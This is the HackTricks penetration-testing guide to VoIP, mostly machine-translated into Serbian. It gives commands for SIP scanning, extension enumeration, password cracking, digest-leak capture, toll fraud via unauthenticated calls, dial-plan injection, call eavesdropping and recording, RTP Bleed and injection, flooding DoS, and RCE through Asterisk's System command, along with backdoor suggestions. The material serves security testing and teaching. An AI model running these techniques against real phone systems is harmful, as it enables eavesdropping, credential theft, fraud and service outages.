hacktricks/network-services-pentesting/pentesting-voip
2024-11-09 13:54:55 +00:00
..
basic-voip-protocols Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:34:45 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:54:55 +00:00

Pentesting VoIP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku

Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Osnovne informacije o VoIP-u

Da biste počeli da učite kako VoIP funkcioniše, proverite:

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Osnovne poruke

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Response Codes

1xx—Provisional Responses

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Успешни одговори

200 OK
202 Accepted
204 No Notification

3xx—Odgovori o preusmeravanju

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—Odgovori o grešci klijenta

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Odgovori o grešci servera

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Global Failure Responses

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

Jedan od prvih koraka koje Red Tim može učiniti je da potraži dostupne telefonske brojeve za kontaktiranje sa kompanijom koristeći OSINT alate, Google pretrage ili skeniranje web stranica.

Kada imate telefonske brojeve, možete koristiti online usluge za identifikaciju operatera:

Znajući da li operater pruža VoIP usluge, možete identifikovati da li kompanija koristi VoIP... Štaviše, moguće je da kompanija nije angažovala VoIP usluge, već koristi PSTN kartice za povezivanje svoje VoIP PBX sa tradicionalnom telefonskom mrežom.

Stvari kao što su automatski odgovori sa muzikom obično ukazuju na to da se koristi VoIP.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT informacije

Svaka druga OSINT enumeracija koja pomaže u identifikaciji VoIP softvera koji se koristi biće korisna za Red Team.

Mrežna enumeracija

  • nmap može skenirati UDP usluge, ali zbog broja UDP usluga koje se skeniraju, veoma je spor i možda neće biti veoma tačan sa ovim vrstama usluga.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap iz SIPVicious-a (sudo apt install sipvicious): Pronaći će SIP usluge u naznačenoj mreži.
  • svmap je lako blokirati jer koristi User-Agent friendly-scanner, ali možete izmeniti kod iz /usr/share/sipvicious/sipvicious i promeniti ga.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTS skener je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje i TCP i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje drugačijeg User-Agent-a (i još mnogo toga).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Extra Network Enumeration

PBX takođe može izlagati druge mrežne usluge kao što su:

  • 69/UDP (TFTP): Ažuriranja firmvera
  • 80 (HTTP) / 443 (HTTPS): Za upravljanje uređajem putem veba
  • 389 (LDAP): Alternativa za čuvanje informacija o korisnicima
  • 3306 (MySQL): MySQL baza podataka
  • 5038 (Manager): Omogućava korišćenje Asteriska sa drugih platformi
  • 5222 (XMPP): Poruke koristeći Jabber
  • I drugi...

Methods Enumeration

Moguće je pronaći koje metode su dostupne za korišćenje u PBX-u koristeći SIPPTS enumerate iz sippts

sippts enumerate -i 10.10.0.10

Анализирање одговора сервера

Веома је важно анализирати хедере које сервер шаље назад, у зависности од типа поруке и хедера које шаљемо. Са SIPPTS send из sippts можемо слати персонализоване поруке, манипулишући свим хедерима, и анализирати одговор.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Takođe je moguće dobiti podatke ako server koristi websockets. Sa SIPPTS wssend iz sippts možemo slati personalizovane WS poruke.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

Ekstenzije u PBX (Privatna centralna razmena) sistemu se odnose na jedinstvene interne identifikatore dodeljene pojedinačnim telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Ekstenzije omogućavaju efikasno usmeravanje poziva unutar organizacije, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj.

  • svwar iz SIPVicious (sudo apt install sipvicious): svwar je besplatan SIP PBX ekstenzijski skener. U konceptu funkcioniše slično tradicionalnim wardialer-ima tako što pogađa opseg ekstenzija ili dati spisak ekstenzija.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS exten identifikuje ekstenzije na SIP serveru. Sipexten može proveriti velike mreže i opsege portova.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Takođe možete enumerisati ekstenzije/korisnička imena sa metasploit:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX je Inter Asterisk Exchange protokol brute-force enumerator za korisnička imena. enumIAX može raditi u dva različita moda; Sekvencijalno Pogađanje Korisničkog Imena ili Napad Rečnikom.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Napadi

Brute-Force lozinke - online

Nakon što su otkrili PBX i neke ekstenzije/korisnička imena, Crveni Tim može pokušati da se autentifikuje putem REGISTER metode na ekstenziji koristeći rečnik uobičajenih lozinki za brute force autentifikaciju.

{% hint style="danger" %} Imajte na umu da korisničko ime može biti isto kao ekstenzija, ali ova praksa može varirati u zavisnosti od PBX sistema, njegove konfiguracije i preferencija organizacije...

Ako korisničko ime nije isto kao ekstenzija, moraćete da otkrijete korisničko ime da biste ga brute-forcali. {% endhint %}

  • svcrack iz SIPVicious (sudo apt install sipvicious): SVCrack vam omogućava da provalite lozinku za određeno korisničko ime/ekstenziju na PBX-u.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack je daljinski alat za otkrivanje lozinki za SIP usluge. Rcrack može testirati lozinke za više korisnika na različitim IP adresama i opsezima portova.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Ako pronađete VoIP opremu unutar Open Wifi mreže, mogli biste sniff-ovati sve informacije. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi mreže) mogli biste izvesti MitM napade kao što su ARPspoofing između PBX-a i gateway-a kako biste sniff-ovali informacije.

Među mrežnim informacijama, mogli biste pronaći web akreditive za upravljanje opremom, korisničke ekstenzije, korisnička imena, IP adrese, čak i hashovane lozinke i RTP pakete koje biste mogli reprodukovati da čujete razgovor, i još mnogo toga.

Da biste dobili ove informacije, mogli biste koristiti alate kao što su Wireshark, tcpdump... ali posebno kreirani alat za sniff-ovanje VoIP razgovora je ucsniff.

{% hint style="danger" %} Imajte na umu da ako se TLS koristi u SIP komunikaciji nećete moći videti SIP komunikaciju u čistom obliku.
Isto će se desiti ako se koristi SRTP i ZRTP, RTP paketi neće biti u čistom tekstu. {% endhint %}

SIP akreditive (Brute-Force lozinke - offline)

Pogledajte ovaj primer da bolje razumete SIP REGISTER komunikaciju da biste saznali kako se akreditive šalju.

  • sipdump & sipcrack, deo sipcrack (apt-get install sipcrack): Ovi alati mogu izvući iz pcap-a digest autentifikacije unutar SIP protokola i bruteforce-ovati ih.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dump može da izvuče digest autentifikacije iz pcap datoteke.
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack je alat za razbijanje digest autentifikacija dobijenih sa SIPPTS dump.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tshark izvlači podatke SIP protokola iz PCAP datoteke.
sippts tshark -f capture.pcap [-filter auth]

DTMF kodovi

Ne samo SIP akreditivi mogu se pronaći u mrežnom saobraćaju, takođe je moguće pronaći DTMF kodove koji se koriste, na primer, za pristup govornoj pošti.
Moguće je poslati ove kodove u INFO SIP porukama, u zvuku ili unutar RTP paketa. Ako su kodovi unutar RTP paketa, možete iseći taj deo razgovora i koristiti alat multimo da ih ekstrahujete:

multimon -a DTMF -t wac pin.wav

Besplatni pozivi / Asterisks konekcije sa pogrešnim podešavanjima

U Asterisku je moguće dozvoliti konekciju sa određenog IP adrese ili sa bilo koje IP adrese:

host=10.10.10.10
host=dynamic

Ako je IP adresa specificirana, host neće morati da šalje REGISTER zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30min, što znači da će u drugom scenariju telefon morati da REGISTER svakih 30min). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva.

Da bi se definisali korisnici, mogu se definisati kao:

  • type=user: Korisnik može primati pozive samo kao korisnik.
  • type=friend: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama)
  • type=peer: Moguće je slati i primati pozive kao peer (SIP-trunks)

Takođe je moguće uspostaviti poverenje sa nesigurnom varijablom:

  • insecure=port: Omogućava peer veze validirane IP-om.
  • insecure=invite: Ne zahteva autentifikaciju za INVITE poruke
  • insecure=port,invite: Oba

{% hint style="warning" %} Kada se koristi type=friend, vrednost varijable host neće biti korišćena, tako da ako administrator pogrešno konfiguriše SIP-trunk koristeći tu vrednost, bilo ko će moći da se poveže na njega.

Na primer, ova konfiguracija bi bila ranjiva:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Besplatni pozivi / Asterisk kontekst pogrešnih konfiguracija

U Asterisku, kontekst je imenovani kontejner ili sekcija u dijal planu koja grupiše povezane ekstenzije, akcije i pravila. Dijal plan je osnovna komponenta Asterisk sistema, jer definiše kako se upravlja i usmerava dolaznim i odlaznim pozivima. Konteksti se koriste za organizaciju dijal plana, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.

Svaki kontekst je definisan u konfiguracionom fajlu, obično u extensions.conf fajlu. Konteksti su označeni uglastim zagradama, sa imenom konteksta unutar njih. Na primer:

csharpCopy code[my_context]

Unutar konteksta, definišete ekstenzije (uzorke biranih brojeva) i povezujete ih sa serijom akcija ili aplikacija. Ove akcije određuju kako se poziv obrađuje. Na primer:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Ovaj primer demonstrira jednostavan kontekst pod nazivom "my_context" sa ekstenzijom "100". Kada neko pozove 100, poziv će biti prihvaćen, biće puštena poruka dobrodošlice, a zatim će poziv biti prekinut.

Ovo je drugi kontekst koji omogućava pozivanje na bilo koji drugi broj:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Ako administrator definiše podrazumevajući kontekst kao:

[default]
include => my_context
include => external

{% hint style="warning" %} Svako će moći da koristi server za pozivanje na bilo koji drugi broj (a administrator servera će platiti za poziv). {% endhint %}

{% hint style="danger" %} Štaviše, po defaultu sip.conf datoteka sadrži allowguest=true, tako da će bilo koji napadač bez autentifikacije moći da poziva na bilo koji drugi broj. {% endhint %}

  • SIPPTS invite iz sippts: SIPPTS invite proverava da li PBX server dozvoljava da pravimo pozive bez autentifikacije. Ako SIP server ima pogrešnu konfiguraciju, dozvoliće nam da pravimo pozive na spoljne brojeve. Takođe može da nam omogući da prebacimo poziv na drugi spoljni broj.

Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U ovom slučaju, napadač može da pravi pozive ne znajući nijednog korisnika/lozinku.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Besplatni pozivi / Pogrešno konfigurisani IVRS

IVRS označava Interaktivni sistem za glasovne odgovore, telekomunikacionu tehnologiju koja omogućava korisnicima da komuniciraju sa kompjuterskim sistemom putem glasovnih ili tonskih unosa. IVRS se koristi za izgradnju automatskih sistema za upravljanje pozivima koji nude niz funkcionalnosti, kao što su pružanje informacija, usmeravanje poziva i prikupljanje korisničkih unosa.

IVRS u VoIP sistemima obično se sastoji od:

  1. Glasovnih poruka: Prethodno snimljene audio poruke koje vode korisnike kroz IVR meni opcije i uputstva.
  2. DTMF (Dual-Tone Multi-Frequency) signalizacija: Tonski unosi generisani pritiskanjem tastera na telefonu, koji se koriste za navigaciju kroz IVR menije i pružanje unosa.
  3. Usmeravanje poziva: Usmeravanje poziva na odgovarajuću destinaciju, kao što su specifična odeljenja, agenti ili ekstenzije na osnovu korisničkog unosa.
  4. Prikupljanje korisničkih unosa: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučajeva ili bilo koji drugi relevantni podaci.
  5. Integracija sa spoljnim sistemima: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima za pristup ili ažuriranje informacija, izvršavanje radnji ili pokretanje događaja.

U Asterisk VoIP sistemu, možete kreirati IVR koristeći plan biranja (extensions.conf datoteku) i razne aplikacije kao što su Background(), Playback(), Read(), i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva.

Primer ranjive konfiguracije

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Prethodni je primer gde se korisniku traži da pritisne 1 za poziv u odeljenje, 2 za poziv u drugo, ili potpunu internu ako je zna.
Ranljivost je u tome što se navedena dužina interne ne proverava, tako da korisnik može uneti 5 sekundi vremensko ograničenje za ceo broj i biće pozvan.

Umetanje interne

Korišćenje interne kao:

exten => _X.,1,Dial(SIP/${EXTEN})

Gde je ${EXTEN} ekstenzija koja će biti pozvana, kada se ext 101 uvede ovo bi se desilo:

exten => 101,1,Dial(SIP/101)

Međutim, ako ${EXTEN} omogućava unos više od brojeva (kao u starijim verzijama Asteriska), napadač bi mogao uneti 101&SIP123123123 da bi pozvao telefonski broj 123123123. I ovo bi bio rezultat:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Zato, poziv na ekstenziju 101 i 123123123 će biti poslat i samo će prvi koji primi poziv biti uspostavljen... ali ako napadač koristi ekstenziju koja zaobilazi bilo kakvo podudaranje koje se vrši, ali ne postoji, mogao bi da injektuje poziv samo na željeni broj.

SIPDigestLeak ranjivost

SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptere (VoIP na analogne). Ranjivost omogućava curenje odgovora na Digest autentifikaciju, koji se izračunava iz lozinke. Offline napad na lozinku je tada moguć i može povratiti većinu lozinki na osnovu odgovora na izazov.

**Scenarijo ranjivosti odavde**:

  1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive
  2. Napadač šalje INVITE IP telefonu
  3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer se niko ne javlja na drugom kraju)
  4. Kada se telefon spusti, telefon žrtve šalje BYE napadaču
  5. Napadač izdaje 407 odgovor koji traži autentifikaciju i postavlja izazov za autentifikaciju
  6. Telefon žrtve daje odgovor na izazov za autentifikaciju u drugom BYE
  7. Napadač može zatim da izvede brute-force napad na odgovor na izazov na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogodi lozinku
  • SIPPTS curenje iz sippts: SIPPTS curenje koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu kako bi se bruteforcovao koristeći SIPPTS dcrack ili SipCrack alat.
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call omogućava web korisniku (koji, na primer, može biti zainteresovan za proizvod) da unese svoj broj telefona kako bi bio pozvan. Zatim će biti pozvan komercijal, a kada podigne slušalicu, korisnik će biti pozvan i povezan sa agentom.

Uobičajeni Asterisk profil za ovo je:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Prethodni profil omogućava BILO KOM IP adresi da se poveže (ako je lozinka poznata).
  • Da bi se organizovao poziv, kao što je prethodno navedeno, nema potrebe za dozvolama za čitanje i samo originate u pisanje je potrebno.

Sa tim dozvolama, svaka IP adresa koja zna lozinku može da se poveže i izvuče previše informacija, kao:

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Moguće je zatražiti više informacija ili akcija.

Prisluškivanje

U Asterisku je moguće koristiti komandu ChanSpy koja označava produžetak(e) za praćenje (ili sve njih) kako bi se čule razgovore koji se odvijaju. Ova komanda treba da bude dodeljena produžetku.

Na primer, exten => 333,1,ChanSpy('all',qb) označava da ako pozovete produžetak 333, on će pratiti sve produžetke, početi da sluša kada započne novi razgovor (b) u tihom režimu (q) jer ne želimo da se uključujemo u njega. Možete preći sa jednog razgovora na drugi pritiskom na *, ili označavanjem broja produžetka.

Takođe je moguće koristiti ExtenSpy za praćenje samo jednog produžetka.

Umesto slušanja razgovora, moguće je snimati ih u fajlove koristeći produžetak kao:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Pozivi će biti sačuvani u /tmp.

Takođe možete čak naterati Asterisk da izvrši skriptu koja će otkriti poziv kada se zatvori.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed ranjivost

RTCPBleed je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava RTP (Real Time Protocol) saobraćaju, koji nosi VoIP razgovore, da bude presretnut i preusmeren od strane bilo koga na Internetu. To se dešava zato što RTP saobraćaj zaobilazi autentifikaciju kada prolazi kroz NAT (Network Address Translation) vatrozidove.

RTP proksiji pokušavaju da reše NAT ograničenja koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav IP i port tuple automatski uči. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP-a i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", ne koristi nikakvu vrstu autentifikacije. Stoga napadači mogu slati RTP saobraćaj ka RTP proksiju i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili pozvanom u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike.

Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, čak i ako nisu ranjivi na RTP Bleed, oni će prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i krajnjim tačkama.

Asterisk i FreePBX tradicionalno koriste NAT=yes podešavanje, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, što potencijalno dovodi do nedostatka zvuka ili jednosmernog zvuka na pozivima.

Za više informacija proverite https://www.rtpbleed.com/

  • SIPPTS rtpbleed iz sippts: SIPPTS rtpbleed detektuje RTP Bleed ranjivost slanjem RTP tokova.
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed otkriva RTP Bleed ranjivost slanjem RTCP tokova.
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood koristi RTP Bleed ranjivost slanjem RTP tokova.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject koristi RTP Bleed ranjivost za injectovanje audio fajla (WAV format).
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

U Asterisk-u nekako uspete da dodate pravila za ekstenzije i ponovo ih učitate (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći System komandu.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

{% hint style="warning" %} If the server is disallowing the use of certain characters in the System command (like in Elastix), check if the web server allows to create files somehow inside the system (like in Elastix or trixbox), and use it to create a backdoor script and then use System to execute that script. {% endhint %}

Interesting local files and permissions

  • sip.conf -> Sadrži lozinku SIP korisnika.
  • If the Asterisk server is running as root, you could compromise root
  • mysql root user might doesn't have any password.
  • this could be used to create a new mysql user as backdoor
  • FreePBX
  • amportal.conf -> Sadrži lozinku administratora web panela (FreePBX)
  • FreePBX.conf -> Sadrži lozinku korisnika FreePBXuser koji se koristi za pristup bazi podataka
  • this could be used to create a new mysql user as backdoor
  • Elastix
  • Elastix.conf -> Sadrži nekoliko lozinki u čistom tekstu kao što su mysql root lozinka, IMAPd lozinka, lozinka web administratora
  • Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.

RTP Injection

It's possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to scan conversations (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and insert noise in a conversation (rtpflood.pl).

DoS

There are several ways to try to achieve DoS in VoIP servers.

  • SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS IAX protokol koji koristi Asterisk
  • inviteflood: Alat za izvođenje SIP/SDP INVITE poruka preplavljivanja preko UDP/IP.
  • rtpflood: Pošaljite nekoliko dobro formiranih RTP paketa. Potrebno je znati RTP portove koji se koriste (sniff first).
  • SIPp: Omogućava analizu i generisanje SIP saobraćaja. takođe se može koristiti za DoS.
  • SIPsak: SIP švajcarski nož. Takođe se može koristiti za izvođenje SIP napada.
  • Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox... The problem with those is that once it's working sysadmins might not update them again and vulnerabilities are going to be discovered with time.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Get a hacker's perspective on your web apps, network, and cloud

Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Support HackTricks
{% endhint %}